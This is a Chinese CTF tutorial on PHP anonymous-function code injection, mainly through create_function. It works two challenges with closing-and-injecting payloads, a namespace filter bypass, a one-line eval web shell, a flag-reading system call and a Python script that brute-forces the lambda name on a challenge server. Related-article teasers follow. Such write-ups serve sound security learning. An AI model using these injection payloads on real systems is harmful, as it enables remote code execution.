CTF题型 匿名函数考法例题总结

CTF题型 匿名函数考法&例题总结

文章目录

  • CTF题型 匿名函数考法&例题总结
    • 一 .原理分析
    • 二 .重点匿名函数利用
      • 1.create_function()
        • 如何实现create_function代码注入
      • 2.array_map()
      • 3.call_user_func()
      • 4.call_user_func_array()
      • 5.array_filter()
    • 三.例题讲解
      • 1.[Polar 靶场 某函数的复仇]
        • 扩展(非本题)
      • 2.[2023 安洵杯 what’s my name]

一 .原理分析

匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

二 .重点匿名函数利用

请熟记并理解为后面php代码审计打基础

1.create_function()

image-20240320104058936

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

注意 实际为 %00lambda_1只不过%00不可见而已

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

可以闭合代码,实现eval执行任意命令

如何实现create_function代码注入

闭合方式不唯一,按实际代码决定

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {
  echo $fname."alex";
}

并返回这个函数名 lambda_1

极其类似sql注入 (使前面闭合,使后面注释)

例如

<?php
$id=$_GET['id'];
$str2='echo  $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

id值可控

原函数:
function fT($a){
  echo $a."test".$id;
}

代码注入后:
function fT($a){
  echo $a."test";}phpinfo();/*;
}

2.array_map()

array_map — 为数组的每个元素应用回调函数

image-20240320105455991

利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320105756416

3.call_user_func()

call_user_func — 把第一个参数作为回调函数调用

image-20240320110020370

同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组

image-20240320110214845

4.call_user_func_array()

和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320110325072

5.array_filter()

array_filter — 使用回调函数过滤数组的元素

image-20240320110454117

和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数

image-20240320110621408

三.例题讲解

1.[Polar 靶场 某函数的复仇]

环境 :https://www.polarctf.com/#/page/challenges

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>

特征:$shaw('',$root);

方法名可控,第二个参数可控,那么我们考虑create_function();

这里保证$shaw=开头是[a-z_] 结尾是任意字符的字符

直接传 create_function即可

扩展(非本题)

这里提一嘴(经常考) 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过?

if(preg_match('/^[a-z_]*$/isD',$shaw) 方法名绕过

通过 命名空间绕过 因为 \create_function()等价于create_function()

什么是命名空间(\)

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

#例
<?php namespace ccc;\eval($_REQUEST['a']);
<?php \system('cat /tmp/flag_XXXX');

接着闭合代码 底层实现{return $root}

我们用 ;}任意代码//闭合

注意这里过滤了 h phpinfo();是被过滤了的

image-20240320115209874

2.[2023 安洵杯 what’s my name]

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?>

@$miao=create_function('$a, $b', $sort_function);匿名函数可以执行命令

闭合根据$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; 其中$d0g3可控

原本闭合payload:'"]);}payload//

但是要满足if(preg_match('/^(?:.{5})*include/',$d0g3))

前5个任意字符+include

所以闭合用"]);}include();//将 前面的 ’ 当成字符看了

 $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

m i a o 为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断name=== m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3==substr($miao))

探究一下返回的匿名函数名称

image-20240320131200836

注意还有两位不可见字符 可以用%00lambda_x绕过强相等image-20240320131302930

"]);}include(phpinfo());//

有26位字符

第26次 到lambda_626时执行命令

可以写个脚本

import requests
url='http://23.94.38.86:9999/?name=%00lambda_26'
params={
    'd0g3':"\"]);}include(phpinfo());//"
}
i=0
while True:
    i=i+1
    response=requests.get(url,params=params)
    print('+'+str(i))
    if 'php.net' in response.text:
        print(response.text)
        break

注意一点

#在Python的requests库中,当你发送一个请求并尝试传递一个包含%00的字符串时,默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符,对应于ASCII的NULL字符
#所以写死name的值

可以返回phpinfo的内容

image-20240320215250956

其他命令同理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/473356.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

应急响应-Web2

应急响应-Web2 1.攻击者的IP地址&#xff08;两个&#xff09;&#xff1f; 192.168.126.135 192.168.126.129 通过phpstudy查看日志&#xff0c;发现192.168.126.135这个IP一直在404访问 &#xff0c; 并且在日志的最后几条一直在访问system.php &#xff0c;从这可以推断 …

数据库:基本操作与用户授权

一 基本操作 1 SQL分类 数据库&#xff1a;database 表&#xff1a;table&#xff0c;行&#xff1a;row 列&#xff1a;column 索引&#xff1a;index 视图&#xff1a;view 存储过程&#xff1a;procedure 存储函数&#xff1a;function 触发器&#xff1a;trigger 事…

【大屏设计】如何进行软件系统网站大屏页面设计?不限于智慧城市、物联网、电商、园区领域

【大屏设计】如何进行软件系统网站大屏页面设计&#xff1f;不限于智慧城市、物联网、电商、园区领域 一、什么是网站大屏设计二、网站大屏设计原型素材三、网站大屏设计设计素材四、他山之石 一、什么是网站大屏设计 网站大屏设计是网站设计中至关重要的一部分&#xff0c;因…

浅谈前端路由原理hash和history

1、认识前端路由 本质 前端路由的本质&#xff0c;是监听 url 地址或 hash 值的改变&#xff0c;来切换渲染对应的页面组件 前端路由分为两种模式 hash 模式 history 模式 两种模式的对比 2、hash 模式 &#xff08;1&#xff09;hash 定义 hash 模式是一种把前端路由的路…

【运维笔记】VM 记录一次centos虚拟机和宿主机之间ping不通的问题

问题描述 环境&#xff1a;centos7&#xff0c;静态ipVM版本&#xff1a;VMware Workstation 16 pro&#xff0c;网络为nat映射模式问题&#xff1a; 一开始&#xff0c;虚拟机可以ping通宿主机&#xff0c;也可以ping通&#xff0c;也可以ping通外网&#xff08;如 ping www.…

HarmonyOS(二十)——管理应用拥有的状态之LocalStorage(页面级UI状态存储)

LocalStorage是页面级的UI状态存储&#xff0c;通过Entry装饰器接收的参数可以在页面内共享同一个LocalStorage实例。LocalStorage也可以在UIAbility实例内&#xff0c;在页面间共享状态。 本文仅介绍LocalStorage使用场景和相关的装饰器&#xff1a;LocalStorageProp和LocalS…

GaussDB(分布式)实例故障处理

一、说明 GaussDB Kernel实例出现故障时&#xff0c;可以按照本节的办法进行实例快速修复。 1、执行gs_om -t status --detail查看集群状态&#xff0c;cluster_state为Normal&#xff0c;balanced为No&#xff0c;请重置实例状态。 2、执行gs_om -t status --detail查看集群…

【开源】SpringBoot框架开发校园超市管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 供应商模块2.2 超市商品模块2.3 超市账单模块 三、系统设计3.1 前端架构设计3.2 后端架构设计 四、系统实现五、核心代码5.1 查询商品5.2 删除商品5.3 查询供应商5.4 查询账单5.5 新增账单 六、免责说明 一、摘要 1.1 …

「数据分析」之零基础入门数据挖掘

摘要&#xff1a;对于数据挖掘项目&#xff0c;本文将学习应该从哪些角度分析数据&#xff1f;如何对数据进行整体把握&#xff0c;如何处理异常值与缺失值&#xff0c;从哪些维度进行特征及预测值分析&#xff1f; 探索性数据分析&#xff08;Exploratory Data Analysis&#…

测试平台——前端框架

一、创建vue项目 npm init vitelatest web_class wylWYLdeMacBook-Air testplatform % npm init vitelatest web_class ✔ Select a framework: › Vue ✔ Select a variant: › JavaScriptScaffolding project in /Users/wyl/workspace/testplatform/web_class...Done. Now…

构建一个前端智能停车可视化系统

引言 随着城市化进程的加速&#xff0c;停车难问题日益突出。智能停车可视化系统通过实时展示停车场的车位信息&#xff0c;帮助用户快速找到空闲车位&#xff0c;提高停车效率。 目录 引言 一、系统设计 二、代码实现 1. 环境准备 2. 安装依赖 3. 创建停车场组件 4. 集…

nodejs社区垃圾分类管理平台的设计与实现python-flask-django-php

近些年来&#xff0c;随着科技的飞速发展&#xff0c;互联网的普及逐渐延伸到各行各业中&#xff0c;给人们生活带来了十分的便利&#xff0c;社区垃圾分类管理平台利用计算机网络实现信息化管理&#xff0c;使整个社区垃圾分类管理的发展和服务水平有显著提升。 语言&#xf…

BRAS(宽带接入服务器)简介

文章目录 BRAS的主要功能IP地址分配功能AAA&#xff08;认证、计费、授权&#xff09; BRAS的工作流程vBRAS 宽带接入服务器&#xff08;Broadband Remote Access Server,简称BRAS&#xff09;是面向宽带网络应用的新型接入网关&#xff0c;它位于骨干网的边缘层&#xff0c;可…

阅读笔记(arXiv2022)Submodularity In Machine Learning and Artificial Intelligence

次模性在机器学习和人工智能中的应用 Bilmes, J. (2022). Submodularity in machine learning and artificial intelligence. arXiv preprint arXiv:2202.00132. 本文的核心内容概述&#xff1a; 1. **次模函数的基本概念**&#xff1a; - 次模函数是定义在有限集合上的集…

手机运营商二要素检测:重塑信任基石,筑牢信息安全屏障

随着移动互联网的普及和数字经济的快速发展&#xff0c;用户信息安全的重要性日益凸显。运营商二要素检测作为一种强大的安全验证机制&#xff0c;以其精准匹配与实时验证的特性&#xff0c;为各类应用场景提供了一种可靠的身份识别解决方案&#xff0c;正在成为众多企业和服务…

【Web应用技术基础】HTML(3)——表格

目录 题目1&#xff1a;原始表格 题目2&#xff1a;width、height 题目3&#xff1a; cellpadding 题目4&#xff1a;cellspacing、cellpadding 题目5&#xff1a;caption 题目6&#xff1a;rowspan 题目7&#xff1a;colspan 题目8&#xff1a;汇总题 题目1&#xff1…

Fetch、Axios 和 jQuery(Ajax) 三种常用的网络请求技术

Fetch、Axios 和 jQuery(Ajax) 是三种常用的网络请求技术&#xff0c;它们各自有着不同的特点和优势。本文将对这三种技术进行详细的介绍和比较&#xff0c;以帮助开发者更好地选择和使用合适的网络请求技术。 一、Fetch Fetch(浏览器自带) 是一种现代的网络请求 API&#xff…

Linux CentOS 7.6安装Redis 6.2.6 详细保姆级教程

1、安装依赖 //检查是否有依赖 gcc -v //没有则安装 yum install -y gcc2、下载redis安装包 //进入home目录 cd /home //通过wget下载redis安装包 wget https://download.redis.io/releases/redis-6.2.6.tar.gz //解压安装包 tar -zxvf redis-6.2.6.tar.gz3、编译 //进入解压…

CSS学习笔记:transform属性实现元素的位移、旋转、缩放

位移 实现居中的两种方法 绝对定位的盒子在父盒子中实现居中效果有两种方法 法一&#xff1a;margin 其中&#xff0c;left和top的值分别为子盒子自身宽高的一半 法二&#xff1a;translate 实现过渡效果 translate常常配合hover和transition使用&#xff0c;以实现鼠标悬停…

流畅的 Python 第二版(GPT 重译)(二)

第三章&#xff1a;字典和集合 Python 基本上是用大量语法糖包装的字典。 Lalo Martins&#xff0c;早期数字游牧民和 Pythonista 我们在所有的 Python 程序中都使用字典。即使不是直接在我们的代码中&#xff0c;也是间接的&#xff0c;因为dict类型是 Python 实现的基本部分。…